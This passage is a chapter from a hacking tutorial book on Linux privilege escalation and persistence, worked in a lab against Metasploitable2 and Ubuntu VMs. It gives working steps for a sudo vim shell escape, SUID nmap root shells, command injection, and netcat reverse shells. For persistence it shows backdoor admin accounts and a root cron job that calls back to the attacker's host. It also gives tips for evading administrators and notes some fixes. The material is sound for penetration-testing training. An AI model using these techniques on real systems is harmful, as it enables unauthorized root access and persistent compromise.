Skip to content
ImagineWorld

Understanding Privilege Escalation and Persistence

node_idnode-book_linux-shell-scripting-for-hackers_chapter-07-understanding-privilege-escalation-and-persistence
node_typechapter-node
schema_profileworld.chapter_node.v1
statusactive
entropyhigh
manifoldworld
domainimagineworld.net
authorityinforms
layercorpus
chapter_num7
chapter_titleUnderstanding Privilege Escalation and Persistence
governed_byCORPUS
constitutional_citationCONSTITUTION
local graph

Chapter 7 — Understanding Privilege Escalation and Persistence

Section titled “Chapter 7 — Understanding Privilege Escalation and Persistence”

You’ve learned some important skills in the previous three chapters. In Chapter 4*, Reconnaissance and Scanning with Nmap*, you learned how to scan target systems to see which network services are exposed to the network. In Chapter 5*, Automating Web Application Attacks*, you saw how to exploit vulnerabilities in running web services, and in Chapter 6*, Password Cracking Techniques*, you saw how to gain access to a system by using automated password cracking tools. In this chapter, you’ll take the next step by learning how to escalate the privileges of an unprivileged user account that you may have compromised. Granted, you actually found a privileged user account in Chapter 6, because the msfadmin account that you compromised on the Metasploitable2 machine has full sudo privileges.

For our present purposes in this chapter, though, we’ll ignore that fact and just pretend that all of the passwords that we’ve cracked are for unprivileged users. That’s because in real life, you won’t always be lucky enough to find passwords for users with full sudo privileges. Once you’ve gained full root privileges on a target machine, you’ll want to find a way to make your access persistent. Malicious hackers don’t want to jump through hoops every time they want to perform something that requires root user privileges on a target machine. They would rather just be able to log right in and get the job done. This chapter takes you through that process.

In this chapter, you’ll get some hands-on practice with various privilege escalation techniques on both the Metasploitable2 machine and your Ubuntu Server machine. You’ll also work with various techniques for making your access persistent.

This chapter covers the following topics:

  • Understanding privilege escalation methods
  • Finding a user with full sudo privileges
  • Exploiting bad sudo configurations
  • Exploiting bad SUID permissions
  • Uploading malware via an NFS exploit
  • Escalating user privileges on a web application
  • Exploiting an unsecured Docker container

As always, only perform these techniques on systems for which you have specific written permission. And, whenever you negotiate a contract with either your clients or your employer, ensure that it specifically defines what you are allowed to do, and what you’re not allowed to do.

For this chapter, you’ll need the following:

  • The Kali Linux virtual machine
  • The Metasploitable2 virtual machine.
  • The same Ubuntu Server virtual machine that you created in Chapter 6, with the mrtux user account.

There are no shell scripts to download this time, but there will be some for the next chapter.

Now, let’s get started.

Understanding privilege escalation methods

Section titled “Understanding privilege escalation methods”

Here are several commonly used privilege escalation methods that you’ll want to know about:

  • Find a user with full sudo privileges: If you’re really lucky, at least one user account for which you’ve found a password will have full sudo privileges. As I’ve already mentioned, you found the password for the msfadmin account on the Metasploitable2 machine, which does in fact have full sudo privileges. To test for this, use the sudo -l command as soon as you gain shell access for a user. (I’ll explain more about this later.)
  • Test for bad sudo configurations: The sudo system is supposed to enhance system security by allowing the top administrator to assign only certain, specific admin privileges to lower-level administrators. However, if an administrator were to incorrectly set up the configuration for a specified user to use a specific admin-level command, that user will be able to use their access to this one specific command to gain access to a root shell.
  • Search for executable files with the SUID bit set: When you set the setuid (SUID) permission on a program’s executable file, any user who executes that program will have the same privileges as the user who owns that executable file. The most common usage for this is to allow an unprivileged user to perform some action that only someone with root user privileges would normally be able to perform. While this is necessary for many Linux and Unix utilities to function properly, it can allow an easy means of privilege escalation if it’s set on the wrong executable files.
  • Exploiting a privilege escalation vulnerability: In Chapter 5, you saw how to use Nikto to find vulnerabilities in web servers. In this chapter, you’ll see how to use other scanners and other tools to find and exploit vulnerabilities in other network services. Amazingly, some of the vulnerabilities are so malicious, that they’ll allow you to obtain access as the root user.
  • Exploiting an unsecured Docker container: Docker containers are extremely useful for both DevOps people who need to distribute complete applications to other users, and for server administrators who want to make the most efficient use of their servers. Unfortunately though, unprivileged Docker users can easily create a container that will allow them to edit configuration files on the host machine. This way, an unprivileged user can easily obtain root user privileges for his or her own user account.
  • Exploiting kernel vulnerabilities: Sometimes, even an operating system kernel can have a nasty security bug that can allow privilege escalation. However, this method isn’t used as much as the other methods, because it runs the risk of crashing the entire operating system. I mean, if an evil hacker wants to break into a server to steal sensitive information, then why risk crashing the server? Other methods are much more preferable. So, we won’t talk further about this one.

Now, let’s look at these methods in more detail.

Once you’ve found the password for a user account and have logged into it, use the sudo -l command to see if that user has any sudo privileges. Let’s try that for the user account on the Metasploitable2 machine, like so:

user@metasploitable:~$ sudo -l
[sudo] password for user:
Sorry, user user may not run sudo on metasploitable.
user@metasploitable:~$

User user has no sudo privileges at all. So, let’s try the msfadmin account:

msfadmin@metasploitable:~$ sudo -l
[sudo] password for msfadmin:
User msfadmin may run the following commands on this host:
(ALL) ALL
msfadmin@metasploitable:~$

The (ALL) ALL means that the msfadmin user does indeed have full sudo privileges. So, ka-ching! You’ve just won the keys to the kingdom. But of course, you also might not find any passwords for users with full sudo privileges. I would imagine, or at least hope, that most top-level administrators would be smart enough to choose passwords that aren’t easily compromised. So, let’s look at the next method, which assumes that you haven’t compromised a user who has full sudo privileges.

For this demo, we’ll move over to the Ubuntu Server virtual machine, because I want to make the demo a bit more realistic by doing it on something that’s a bit more modern. Here’s the procedure:

  1. In one terminal window of your Kali machine, remotely log into the Ubuntu Server machine with the mrtux account. Use the AndreaSterbini password that you set for him in Chapter 6. Then, verify that Mr. Tux has no sudo privileges, like so:
    mrtux@ubuntu2504-2:~$ sudo -l
    [sudo] password for mrtux:
    Sorry, user mrtux may not run sudo on ubuntu2504-2.
    mrtux@ubuntu2504-2:~$

Open a second terminal window on your Kali machine, and use it to remotely log into your own user account on the Ubuntu Server. Then, edit the sudo configuration for Mr. Tux. Begin by invoking the visudo command, like so:

donnie@ubuntu2504-2:~$ sudo visudo
[sudo] password for donnie:
  1. Scroll down until you see the %sudo ALL=(ALL:ALL) ALL line. Underneath that line, add this line for Mr. Tux:
    mrtux ALL=(ALL) /bin/vim /etc/ssh/sshd_config

Okay, this seems harmless enough, right? All you’re doing is allowing Mr. Tux to use vim to edit one specific configuration file. But, that’s not actually the case. You’ve actually just given Mr. Tux full sudo privileges, because vim has a handy shell escape feature that allows a user to open a shell without exiting vim. As you’ll see in a few moments, Mr. Tux will have full sudo privileges for any command that he desires to run in this manner.

  1. Save the file, exit visudo, and go back to Mr. Tux’s terminal. Have him run the sudo -l command to verify that he has the proper sudo privileges:
    mrtux@ubuntu2504-2:~$ sudo -l
    [sudo] password for mrtux:
    Matching Defaults entries for mrtux on ubuntu2504-2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
    User mrtux may run the following commands on ubuntu2504-2:
    (ALL) /bin/vim /etc/ssh/sshd_config
    mrtux@ubuntu2504-2:~$
  2. Now, have Mr. Tux run the fdisk -l command, to verify that he doesn’t have privileges to run it:
    mrtux@ubuntu2504-2:~$ sudo fdisk -l
    Sorry, user mrtux is not allowed to execute '/usr/sbin/fdisk -l' as root on ubuntu2504-2.
    mrtux@ubuntu2504-2:~$
  3. Have Mr. Tux open the sshd_config file for editing, like this:
    mrtux@ubuntu2504-2:~$ sudo vim /etc/ssh/sshd_config
  4. If you’re not familiar with vim, you’ll want to know that many vim commands are executed by hitting the colon key, followed by the name of a command. From within vim, have Mr. Tux open a shell session, like so:
    :shell

Be prepared for a shock when you hit the Enter key, because you’ll see that Mr. Tux is now the root user:

mrtux@ubuntu2504-2:~$ sudo vim /etc/ssh/sshd_config
root@ubuntu2504-2:/home/mrtux#
  1. This is scary. To see how scary it is, have Mr. Tux run the fdisk -l command again:
    root@ubuntu2504-2:/home/mrtux# fdisk -l
    Disk /dev/sda: 25 GiB, 26843545600 bytes, 52428800 sectors
    Disk model: VBOX HARDDISK
    Units: sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    Disklabel type: gpt
    Disk identifier: DB274EDF-2132-471E-B31D-DD47039E2D15
    Device Start End Sectors Size Type
    /dev/sda1 2048 4095 2048 1M BIOS boot
    /dev/sda2 4096 52426751 52422656 25G Linux filesystem
    root@ubuntu2504-2:/home/mrtux#

Yes indeed, Mr. Tux is now truly the root user because of a bad sudo configuration. Fortunately, there’s a way to fix this while still allowing Mr. Tux to edit the sshd_config file.

  1. Type exit to return Mr. Tux to the vim editor. Then, from within vim, type the :q command to exit vim.
  2. In your own terminal window, open visudo. Change the /bin/vim part of Mr. Tux’s configuration to sudoedit, so that the line now looks like this:
    mrtux ALL=(ALL) sudoedit /etc/ssh/sshd_config

Save the file and exit visudo.

  1. In Mr. Tux’s terminal window, verify that he can no longer use vim to edit the sshd_config file:
    mrtux@ubuntu2504-2:~$ sudo vim /etc/ssh/sshd_config
    [sudo] password for mrtux:
    Sorry, user mrtux is not allowed to execute '/usr/bin/vim /etc/ssh/sshd_config' as root on ubuntu2504-2.
    mrtux@ubuntu2504-2:~$
  2. Finally, verify that Mr. Tux can edit the sshd_config file with sudoedit:
    mrtux@ubuntu2504-2:~$ sudoedit /etc/ssh/sshd_config
    [sudo] password for mrtux:

On Ubuntu, this will cause the file to be opened in the nano text editor. On other Linux distros, it might open the file in vim. Either way, the shell escape feature will be disabled, so that Mr. Tux, or any malicious hacker who breaks into Mr. Tux’s account, won’t be able to perform any mischief as the root user.

Note that you don’t have to precede the sudoedit command with sudo, because sudoedit already invokes sudo privileges.

Also, there are many other ways to configure sudo in a way that will inadvertently give full sudo privileges to a user who shouldn’t have full sudo privileges. The list is too long to show you here, but I will include links to more complete lists in the Further reading section.

Finally, for anyone who’s wondering, the real Mr. Tux is in the recliner chair beside me, taking his nap. (It must be nice to be a cat.)

That pretty much covers it for sudo. Let’s now look at the infamous SUID permissions.

The setuid permission, which is normally abbreviated as SUID, is something that practitioners of Linux and Unix administration consider a necessary evil. That’s because it’s necessary for certain Linux and Unix utilities to have this permission set on their executable files in order for the operating system to function properly. But, when used improperly, SUID can be a huge security problem that can lead to easy privilege escalation.

When you set the SUID permission on an executable file, it allows anyone who invokes that program to have the same privileges as the user who owns the executable file for that program. The best example is the passwd utility. The passwd executable file is owned by the root user, and is used to add, change, or delete user passwords. Any of these operations involves a modification of the /etc/shadow on Linux and OpenIndiana systems or the /etc/master.passwd file on BSD-type systems, which only someone with root user privileges can do. So then, how can a normal user, who has no root or sudo privileges, change his or her own password? The answer is to set the SUID permission on the passwd executable file. Here’s how that looks on any Linux or Unix operating system:

user@metasploitable:/usr/bin$ ls -l passwd
-rwsr-xr-x 1 root root 29104 2008-04-02 21:08 passwd
user@metasploitable:/usr/bin$

The normal Linux and Unix file permissions consist of the read (r), write (w), and executable (x) permissions. SUID is a special permission, which is represented by an s. The permissions settings are in three groups of three characters each, which are:

  • user: The user is the person or the service that owns the file.
  • group: These are the permissions for the group with which the file is associated.
  • others: These permissions are for everyone else, who neither own the file nor are members of the group that’s associated with the file.

On this passwd file, we see that the rws permissions are set for the file’s user, which in this case is the root user. The lowercase s means that both the executable permission and the SUID permission are set on this file. The SUID permission means that any normal user who uses the passwd utility to change his or her own password will have root user privileges, which will permit the normal user to change the password hash in either the shadow file or the master.passwd file.

Note that this only works when a normal user tries to change his or her own password. This doesn’t work when a normal user tries to change someone else’s password. (I don’t know what mechanism is used to prevent this from working on another user’s account.)

This works fine for the passwd utility, because there’s no danger that anyone can use it for a privilege escalation attack. For other utilities, that’s not always the case. For this demo, let’s look at two different scenarios that involve nmap.

Escalating after logging into someone else’s account

Section titled “Escalating after logging into someone else’s account”

We’ll begin with the assumption that you’ve found the password for somebody’s unprivileged user account on the Metasploitable2 machine and have logged into it.

  1. View the permissions settings for nmap on the Kali machine to see how they’re supposed to look:
    ┌──(kali㉿kali)-[/usr/bin]
    └─$ ls -l nmap
    -rwxr-xr-x 1 root root 165 May 15 11:37 nmap

In this case, we see just the normal executable permission (x) set for the user, who, again, is the root user.

  1. Open another terminal window on your Kali machine, and remotely log into the Metasploitable2 machine as the unprivileged user user. (Remember to use the ssh1 command instead of the normal ssh command, and also remember that user ‘s password is user.) View the permissions settings for the nmap executable:
    user@metasploitable:/usr/bin$ ls -l nmap
    -rwsr-xr-x 1 root root 780676 2008-04-08 10:04 nmap

Here we see an s in place of the x for the user’s permissions, which means that the SUID permission is set.

I can kind of understand why someone might want to set SUID on nmap, because certain types of nmap scans require root privileges. Having SUID on the nmap executable would prevent administrators from having to assign sudo privileges to all of the users who need to use nmap. What makes this scary is that old versions of nmap, such as the version that’s installed on the Metasploitable2 machine, used to have an interactive mode that included a shell escape feature. With the SUID permission set, this interactive mode will open a shell with root user privileges.

  1. Next, open nmap in --interactive mode, perform a shell escape with the !sh command, and then view your own user information, like so:
    user@metasploitable:~$ nmap --interactive
    Starting Nmap V. 4.53 ( http://insecure.org )
    Welcome to Interactive Mode -- press h <enter> for help
    nmap> !sh
    sh-3.2# id
    uid=1001(user) gid=1001(user) euid=0(root) groups=1001(user)
    sh-3.2# whoami
    root
    sh-3.2#

You’ve just opened a shell as the root user. (Note that the id command still shows you with 1001 for the UID, but the Effective User ID (EUID) is 0, which still gives you root privileges.)

  1. Attempt to execute a command that requires root privileges, just to see if it will work. In this case, let’s use the fdisk -l command:
    sh-3.2# fdisk -l
    Disk /dev/sda: 8589 MB, 8589934592 bytes
    255 heads, 63 sectors/track, 1044 cylinders
    Units = cylinders of 16065 * 512 = 8225280 bytes
    Disk identifier: 0xc3a20c42
    Device Boot Start End Blocks Id System
    /dev/sda1 1 30 240943+ 83 Linux
    /dev/sda2 31 1044 8144955 5 Extended
    /dev/sda5 31 1044 8144923+ 8e Linux LVM
    sh-3.2#

You see that it works.

  1. Type exit to exit the root user’s shell, and then type exit again to exit nmap. Now, let’s remove this vulnerability.
  2. From another terminal window on your Kali machine, log into the Metasploitable2 machine as the privileged msfadmin user, and remove the SUID permission from the nmap executable, like so:
    msfadmin@metasploitable:/usr/bin$ sudo chmod u-s nmap
    msfadmin@metasploitable:/usr/bin$ ls -l nmap
    -rwxr-xr-x 1 root root 780676 2008-04-08 10:04 nmap
    msfadmin@metasploitable:/usr/bin$
  3. In the terminal window for the user user, repeat steps 3 and 4. This time, you should see that you’re logged into user ‘s shell, and that nothing happens when you try to run the fdisk -l command.
  4. In order to make the next step work, add the SUID permission back to the nmap executable, like so:
    msfadmin@metasploitable:/usr/bin$ sudo chmod u+s nmap
    msfadmin@metasploitable:/usr/bin$ ls -l nmap
    -rwsr-xr-x 1 root root 780676 2008-04-08 10:04 nmap
    msfadmin@metasploitable:/usr/bin$
  5. You’re likely now wondering how you would find any SUID executable files that you might be able to exploit. To do that, use the find utility, like so:
    user@metasploitable:~$ find / -perm -4000 -ls 2> /dev/null
    16466 68 -rwsr-xr-x 1 root root 63584 Apr 14 2008 /bin/umount
    16449 20 -rwsr-xr-- 1 root fuse 20056 Feb 26 2008 /bin/fusermount
    16398 28 -rwsr-xr-x 1 root root 25540 Apr 2 2008 /bin/su
    . . .
    . . .
    344956 768 -rwsr-xr-x 1 root root 780676 Apr 8 2008 /usr/bin/nmap
    344441 24 -rwsr-xr-x 1 root root 23952 Apr 2 2008 /usr/bin/chsh
    344957 16 -rwsr-xr-x 1 root root 15952 Nov 22 2007 /usr/bin/netkit-rcp
    344771 32 -rwsr-xr-x 1 root root 29104 Apr 2 2008 /usr/bin/passwd
    344792 48 -rwsr-xr-x 1 root root 46084 Mar 31 2008 /usr/bin/mtr
    354632 16 -rwsr-sr-x 1 libuuid libuuid 12336 Mar 27 2008 /usr/sbin/uuidd
    354626 268 -rwsr-xr-- 1 root dip 269256 Oct 4 2007 /usr/sbin/pppd
    369987 8 -rwsr-xr-- 1 root telnetd 6040 Dec 17 2006 /usr/lib/telnetlogin
    385106 12 -rwsr-xr-- 1 root www-data 10276 Mar 9 2010 /usr/lib/apache2/suexec
    386116 8 -rwsr-xr-x 1 root root 4524 Nov 5 2007 /usr/lib/eject/dmcrypt-get-device
    377149 168 -rwsr-xr-x 1 root root 165748 Apr 6 2008 /usr/lib/openssh/ssh-keysign
    371390 12 -rwsr-xr-x 1 root root 9624 Aug 17 2009 /usr/lib/pt_chown
    user@metasploitable:~$

Here’s the breakdown of this find command:

  • find: The name of the command.
  • /: The path through which you want to search. In this case, you want to search through the entire root (/) filesystem.
  • -perm: This means that you want to search for files with a certain permission setting.
  • -4000: This is the numerical value for the SUID permission setting. The -perm -4000 part of the command means that you want to find all files that have the SUID permission.
  • -ls: This shows you information about all of the files that find finds, the same as how the -l option does with the ls command.
  • 2> /dev/null: Since you’re running this command as the unprivileged user user, you don’t have the required permissions to search through certain restricted directories. This will cause error messages to be sent to the screen. The 2> is a redirector, which redirects error messages to somewhere else. In this case, we don’t want to see error messages, so we’ll redirect them to the /dev/null device.

You found quite a few executable files with the SUID permission, but don’t let that scare you. The only file you found that shouldn’t have SUID is the nmap file that you just worked with.

Granted, the --interactive mode has been disabled for current versions of nmap. However, setting the SUID permission for any utility that has a shell escape feature should still allow an unprivileged user to obtain a shell with root privileges. (You’ve already seen how shell escapes work in other programs in the Exploiting bad sudo configurations section.) If you see the SUID permission set on any program that has a shell escape feature, you’ll know that you’ve found an exploitable privilege escalation problem.

Also, before you get too excited about all the evil things that you can do with this procedure, I have to tell you that you’re rather limited in what you can do when you open a root shell in this manner. (I’ll talk more about that after we get through the next scenario.) There’s also the fact that in real life, the chances that you’ll find an exploitable SUID executable file on a target system are extremely low. The only way that it will happen is if some administrator were to decide to set SUID on a file that shouldn’t have it, which is highly unlikely to happen. But, see if you can find any rogue SUID files anyway, because you never know.

And finally, you might find some older blog posts that tell you about how attackers can create SUID executable files in the /tmp/ directory, because the /tmp/ directory has world-writable permissions. That no longer works because modern Linux and Unix distros mount all tmp filesystems with the nosuid option, which prevents the SUID permission from having any effect on files that are within these tmp filesystems.

Now, let’s make things a bit more interesting. Let’s say that you haven’t found the passwords of any unprivileged users and instead have to exploit some sort of command injection vulnerability. Here’s a procedure for that.

Escalating after a command injection attack

Section titled “Escalating after a command injection attack”

This procedure will require you to open the DVWA app on the Metasploitable2 machine in your Kali web browser.

  1. First, log into the DVWA app, reset its database, and configure it for low security mode, as you did in the Create or reset the DVWA database and configure security procedure in Chapter 5*, Automating Web Application Attacks*.
  2. Click the Command Execution link on the left-hand side of the page, and enter the ; find / -perm -4000 2> /dev/null command into the Ping for FREE box, as you see here:

Figure 7.1 – Finding SUID executables via a command injection vulnerability

Figure 7.1 – Finding SUID executables via a command injection vulnerability

The output from this command will look like this:

Figure 7.2 – The list of SUID files on the Metasploitable2 machine

Figure 7.2 – The list of SUID files on the Metasploitable2 machine

  1. You see that /usr/bin/nmap is in the list, and you know that it shouldn’t be. So try to exploit it, like this:

Figure 7.3 – Attempting to exploit the vulnerable nmap executable

Figure 7.3 – Attempting to exploit the vulnerable nmap executable

The nmap --interactive command will execute, but Firefox won’t open a terminal in which you can execute commands, as you see here:

Figure 7.4 – Output from the nmap exploit

Figure 7.4 – Output from the nmap exploit

  1. To get around this problem, you’ll need to open a reverse shell. Begin by setting up a netcat listener on the Kali machine, like so:
    ┌──(kali㉿kali)-[~]
    └─$ nc -nvlp 4444
    listening on [any] 4444 …
  2. In the web browser, start the reverse shell, like this:

Figure 7.5 – Starting the reverse shell

Figure 7.5 – Starting the reverse shell

  1. Go back to your Kali terminal, and you should see this:
    ┌──(kali㉿kali)-[~]
    └─$ nc -nvlp 4444
    listening on [any] 4444 ...
    connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 60569
  2. Enter the whoami command to verify that you’re logged in as a non-privileged user:
    whoami
    www-data
  3. Execute the following commands to obtain a root user shell:
    nmap --interactive
    Starting Nmap V. 4.53 ( http://insecure.org )
    Welcome to Interactive Mode -- press h <enter> for help
    nmap> whoami
    Unknown command (whoami) -- press h <enter> for help
    nmap> !sh
    whoami
    root

So now, we have a root user shell. But what can we do with it? Let’s look at that next.

Using the root user shell to create a privileged user account

Section titled “Using the root user shell to create a privileged user account”

The problem with the root user shell that you’ve just obtained is that it isn’t running in a full terminal environment. This means that you can’t run commands that require user interaction. When you created the mrtux user account on the Ubuntu machine, you invoked the sudo adduser mrtux command. (This adduser utility is available on all Debian/Ubuntu-type Linux distros, including Metasploitable2.) The adduser utility then prompted you to enter information for the mrtux user, including his password. This works fine from a full terminal environment, as you would have when you log into a machine in the normal manner. But it doesn’t work from the root user shell that you obtained by exploiting the bad SUID permission on nmap. Fortunately, you can instead use the old-school, non-interactive useradd utility, which is available on all Linux distros.

The interactive adduser utility is unique to the world of Debian/Ubuntu-type Linux distros. On non-Debian/Ubuntu Linux distros, adduser is just a symbolic link that points to the non-interactive useradd.

  1. So now, let’s assume that you’ve already either remotely logged into your Metasploitable2 machine via an unprivileged user account for which you’ve found the password, or you’ve opened up a reverse shell by exploiting a command injection vulnerability. Either way, you’ve found that the nmap executable has the SUID permission set and have opened it in --interactive mode to obtain the root user shell. You now want to create a user account with full sudo privileges that you can log into any time you want. Since the Debian/Ubuntu adduser utility won’t work, use useradd instead, like so:
    sh-3.2# useradd -d /home/evilhacker -m -s /bin/bash -G admin evilhacker

Here’s the breakdown of the options for this command:

  • -d /home/evilhacker: This tells useradd the name and location of the home directory for this user account.
  • -m: This tells useradd to create the user’s home directory, using the parameters that you set with the -d option.
  • -s /bin/bash: This specifies the default login shell for the user.
  • -G admin: This adds the user account to the admin group, which will give the user full sudo privileges.
  • evilhacker: This is the name of the account that you want to create.

Note that the various Linux and Unix distros use different groups for administrators who need full sudo privileges.

  • This Metasploitable2 machine uses the admin group.
  • Modern Debian/Ubuntu-type distros use the sudo group.
  • Red Hat-type distros and most Unix distros use the wheel group.

Adjust your command accordingly for the distro that you need to attack.

  1. Now though, you have another slight problem. You need to create a password for evilhacker, but the passwd utility is also interactive. Well, there’s also a workaround for that. Instead of using the interactive passwd command, use the chpasswd command, like so:
    sh-3.2# echo "evilhacker:TurkeyLips" | chpasswd

Here, you’re echoing the username:password pair into chpasswd. (I used TurkeyLips as my password, but you can use whatever you like.)

On the Metasploitable2 machine, chpasswd uses the antiquated DES hashing algorithm by default. It still works though, so that’s okay. On more modern distros, chpasswd uses whichever hashing algorithm is set as the default for the operating system. So, if your machine uses SHA512 by default, then chpasswd will create a SHA512 hash. If it uses yescrypt by default, then chpasswd will create a yescrypt hash.

  1. So now, will evilhacker actually be able to log in to his new account? Let’s try it remotely:
    ┌──(kali㉿kali)-[~]
    └─$ ssh1 [email protected]
    /etc/ssh/ssh_config line 53: Unsupported option "gssapiauthentication"
    [email protected]'s password:
    Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
    The programs included with the Ubuntu system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.
    Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
    applicable law.
    To access official Ubuntu documentation, please visit:
    http://help.ubuntu.com/
    Last login: Sun Sep 28 14:22:33 2025
    evilhacker@metasploitable:~$
  2. So far, so good. But you still need to verify that he has sudo privileges, like so:
    evilhacker@metasploitable:~$ sudo -l
    [sudo] password for evilhacker:
    User evilhacker may run the following commands on this host:
    (ALL) ALL
    evilhacker@metasploitable:~$

Oh yeah, it worked out just fine. With full sudo privileges, evilhacker can create much havoc by installing malware, accessing sensitive documents, changing the server configuration, or whatever else he might want to do. Yes, evilhacker has truly won the keys to the kingdom.

However, even as awesome as this all is, there’s still a slight problem. That is, adding a new user account is something that can be easily spotted by an eagle-eyed administrator. So now, let’s try something that’s a bit stealthier.

Using the root user shell to add a user to an admin group

Section titled “Using the root user shell to add a user to an admin group”

For something that’s somewhat less obvious than adding a new user account, just use the usermod utility to add an unprivileged user to the group that allows users to have full sudo privileges. That would be the admin group on the Metasploitable2 machine. But, as I’ve already mentioned, it will be something different on other Linux or Unix distros.

So now, let’s say that you’ve either logged into an unprivileged account for which you’ve obtained the password, or you’ve used a command injection exploit to open a reverse shell. Either way, you’ve gained a root shell with the nmap --interactive command. In the present case, let’s just add the unprivileged user user account on the Metasploitable2 machine to the admin group, like so:

user@metasploitable:~$ nmap --interactive
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
sh-3.2# usermod -a -G admin user
sh-3.2# grep ^admin /etc/group
admin:x:112:msfadmin,evilhacker,user
sh-3.2#

The usermod -a -G admin user command added the user user to the admin group. The grep ^admin /etc/group command shows the line that begins with the admin text string, which verifies that the user user was added to the admin group.

Okay, before leaving the topic of bad SUID programs, let’s look at one more trick.

Using your illicit root shell powers to upgrade an existing unprivileged user account to a privileged one might be a bit stealthier than adding a new account. Still, the owner of the compromised account might at some point notice that he or she now has full sudo privileges, and will ask the appropriate personnel why that is. That would likely prompt a legitimate administrator to remove the user from the administrative group, and to change the user’s password to something stronger. So, maybe you’ll want a backup plan, just in case. Setting up an automatic reverse shell could be your answer. You can do that by creating a cron job on the victim’s machine. Here’s the procedure:

  1. In one terminal window on your Kali machine, start a netcat listener, like so:
    ┌──(kali㉿kali)-[~]
    └─$ nc -nvlp 4444
    listening on [any] 4444 …
  2. In a second terminal window, log into the user user account on the Metasploitable2 machine, as you’ve already done before. Start the bad nmap program in interactive mode and obtain a root user shell, as you’ve also done before:
    user@metasploitable:~$ nmap --interactive
    Starting Nmap V. 4.53 ( http://insecure.org )
    Welcome to Interactive Mode -- press h <enter> for help
    nmap> !sh
    sh-3.2#
  3. Next, create the cron job by echoing the appropriate command into a crontab file for the root user, like so:
    sh-3.2# echo "@reboot /bin/nc 192.168.56.101 4444 -e /bin/bash" >> /var/spool/cron/crontabs/root
    sh-3.2#

Here’s the breakdown of the command:

  • @reboot: This means that the cron job will run every time that the machine is rebooted.
  • /bin/nc 192.168.56.101 4444 -e /bin/bash: This is the command that the cron job will run every time that the machine is rebooted.
  • >> /var/spool/cron/crontabs/root: The echo command will append the above command to the end of the root user’s crontab file.
  1. Finally, reboot the Metasploitable2 machine by doing:
    sh-3.2# shutdown -r now
  2. When the Metasploitable2 machine has finished rebooting, look at the terminal window where the netcat listener is running. You should see that a reverse shell connection has been made:
    ┌──(kali㉿kali)-[~]
    └─$ nc -nvlp 4444
    listening on [any] 4444 ...
    connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 43656

This works, but the obvious problem is that you’ll have to wait for someone to reboot the machine before you can get your reverse shell. You can fix that by having the cron job run periodically throughout the day instead of just when the machine gets rebooted. Here’s an example of how to do it:

10 * * * /bin/nc 192.168.56.101 4444 -e /bin/bash

The first field, which is represented by the 10 in this case, is the minutes field. In this example, we want the job to run at 10 minutes past every hour. The asterisks, in order, represent the following fields:

  • The hour: You can specify a certain hour or even range of hours. In this case, we want the job to run at 10 minutes past every hour, so we’re just using the * as a wildcard.
  • The day of the month: Again, we’re using an asterisk so that the job will run every day of the month.
  • The month: We want the job to run every month, so we again use an asterisk.
  • The day of the week: Again, we’re using an asterisk to make the job run every day of the week, Sunday through Saturday.

Now, if for some reason your reverse shell connection gets broken, you can just restart the netcat listener on the Kali machine and wait until 10 minutes past the next hour. If you don’t want to wait an entire hour for the cron job to re-establish a reverse shell connection, you can adjust the time interval accordingly. For example, if you want the cron job to run every five minutes, just replace the 10 in the first field with */5. The downside to doing that is that it’s easier for an administrator to notice that a machine is calling back to your attacker machine every five minutes than it is to notice if it’s only calling back every hour.

Note that there are several versions of netcat, and your victim machine might use a different version. For example, on my Ubuntu Server machine, nc points to a version of netcat that doesn’t allow you to invoke a shell via the -e /bin/bash option. So, I had to install the ncat package and replace the nc command in the cron job with the ncat command. Once I did that, the cron job worked just fine on the Ubuntu Server machine.

All right, let’s look at the next cool trick, which allows you to exploit a bad network filesystem configuration.

In this demo, you’ll once again target the Metasploitable2 machine. For the purposes of this demo, pretend that you never found that exploitable nmap executable file. This also means pretending that you still haven’t obtained a root user shell that you could use to create a privileged user account. And of course, you’ll also pretend that you haven’t found the password for the privileged msfadmin account. Instead, you’ll target the unprivileged user user account, for which you found the password in Chapter 6.

For this demo, you’ll create a small malware program that will open a root user shell on the target system. The problem is that you can’t create this malware program on your Kali machine, because you need to set the SUID and executable permissions on it, and change its ownership to that of the root user. If you use any normal means to transfer a file to the target machine—including scp, ftp, or even by using wget or curl to have the victim download it from an HTTP server—the executable and SUID permissions will be stripped from the file when it arrives at the target machine’s filesystem. Also, if you’ve changed ownership of the file on your host machine to that of the root user, ownership will revert to the user account on the target system. Of course, you’re uploading this file to an unprivileged user account, and you can’t set the proper permissions and ownership on the file without root privileges. So, we need a way to get the malicious file onto the victim’s machine, while still preserving its permissions and root user ownership. Don’t give up, though. I’ll show you how to do it.

  1. Begin by performing an nmap scan of the Metasploitable2 machine, as I showed you how to do in Chapter 6*, Password Cracking Techniques*. Here’s the command:
    ┌──(kali㉿kali)-[~]
    └─$ sudo nmap -A 192.168.56.102

Here’s one of the things that you’ll see in the output:

2049/tcp open nfs 2-4 (RPC #100003)

So, the Metasploitable2 machine has the Network Filesystem (NFS) running. This means that other users can mount a shared filesystem from this machine on their own computers and either access files that are in that shared filesystem or create new files.

  1. Use the showmount command to see exactly what the Metasploitable2 machine is sharing:
    ┌──(kali㉿kali)-[~]
    └─$ showmount -e 192.168.56.102
    Export list for 192.168.56.102:
    / *

Well now, this is certainly messed up. You should never, but never, export the entire root (/) filesystem of a server via NFS. This allows everyone who accesses this NFS shared folder to access all of the system’s configuration files, executable files, and users’ home directories. Also, the fact that you can view this export list on your Kali machine means that there are no restrictions on who can access this shared filesystem.

  1. To see how bad this really is, open another terminal window on your Kali machine, and remotely log into the user account of the Metasploitable2 machine. Use user as the password, like this:
    ┌──(kali㉿kali)-[~]
    └─$ ssh1 [email protected]
  2. View the /etc/exports file on the Metasploitable2 machine:
    user@metasploitable:/etc$ cat exports
    # /etc/exports: the access control list for filesystems which may be exported
    # to NFS clients. See exports(5).
    #
    # Example for NFSv2 and NFSv3:
    # /srv/homes hostname1(rw,sync) hostname2(ro,sync)
    #
